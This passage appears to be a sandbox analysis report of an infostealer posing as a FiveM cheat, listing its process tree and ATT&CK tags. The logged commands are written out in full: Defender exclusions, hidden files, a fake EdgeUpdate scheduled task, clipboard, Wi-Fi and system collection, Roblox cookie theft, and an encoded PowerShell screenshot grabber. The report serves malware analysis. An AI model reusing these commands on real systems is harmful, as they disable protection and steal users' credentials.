  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\fivem-external"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2912
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\fivem-external\fivem-external.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4760
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\fivem-external\fivem-external.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:716
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\fivem-external\fivem-external.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\fivem-external\fivem-external.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2956
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\fivem-external\fivem-external.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5820
    - - C:\Windows\system32\certutil.exe
        
        certutil -hashfile "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\fivem-external\fivem-external.exe" MD5
        5⤵
        
        PID:4988
    - - C:\Windows\system32\find.exe
        
        find /i /v "md5"
        5⤵
        
        PID:4812
    - - C:\Windows\system32\find.exe
        
        find /i /v "certutil"
        5⤵
        
        PID:2664
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start cmd /C "color b && title Error && echo CURL Error: Failure when receiving data from the peer && timeout /t 5"
      4⤵
      PID:4812
    - - C:\Windows\system32\cmd.exe
        
        cmd /C "color b && title Error && echo CURL Error: Failure when receiving data from the peer && timeout /t 5"
        5⤵
        
        PID:6132
      - C:\Windows\system32\timeout.exe
        
        timeout /t 5
        6⤵
        Delays execution with timeout.exe
        
        PID:2704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1504
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3352
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:2512
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe"
      4⤵
      Views/modifies file attributes
      PID:4008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:2584
  - - C:\Windows\system32\attrib.exe
      attrib +h "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate"
      4⤵
      Views/modifies file attributes
      PID:3676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachineUA" /f"
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:2036
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn "MicrosoftEdgeUpdateTaskMachineUA" /f
      4⤵
      PID:5540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "MicrosoftEdgeUpdateTaskMachineUA" /tr "\"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe\"" /sc onlogon /rl highest /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1240
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "MicrosoftEdgeUpdateTaskMachineUA" /tr "\"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe\"" /sc onlogon /rl highest /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1128
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -WindowStyle Hidden -NonInteractive -NoProfile Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:1288
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NonInteractive -NoProfile Get-Clipboard
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1536
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:4984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5876
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:1360
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2348
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:1412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -WindowStyle Hidden -NonInteractive -NoProfile Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1456
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NonInteractive -NoProfile Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5516
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2196
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -WindowStyle Hidden -NonInteractive -NoProfile Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3276
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NonInteractive -NoProfile Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1480
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4412
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -WindowStyle Hidden -NonInteractive -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Hide Artifacts: Hidden Window
    - Suspicious use of WriteProcessMemory
    PID:2040
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -NonInteractive -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1684
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0xvcwudb\0xvcwudb.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1084
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAF03.tmp" "c:\Users\Admin\AppData\Local\Temp\0xvcwudb\CSCF883BCC1795F40B1B0E72B715AC7E390.TMP"
        6⤵
        
        PID:6092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5208
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:5908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption /value"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:804
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption /value
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get TotalPhysicalMemory /value"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3720
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get TotalPhysicalMemory /value
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get UUID /value"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4544
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get UUID /value
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command "(Get-CimInstance Win32_Processor).Name""
    3⤵
    PID:2572
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command "(Get-CimInstance Win32_Processor).Name"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1292
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name /value"
    3⤵
    PID:4368
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name /value
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:4788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command "(Get-ItemProperty 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform').BackupProductKeyDefault""
    3⤵
    PID:4348
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command "(Get-ItemProperty 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform').BackupProductKeyDefault"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\UsrClass.ran""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5220
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\UsrClass.ran"
      4⤵
      Views/modifies file attributes
      PID:2260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ping localhost -n 2 > NUL && rmdir /S /Q "C:\Users\Admin\AppData\Local\Temp\_MEI49002""
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:6012
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 2
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5528

C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1828
- C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
  "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4540

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

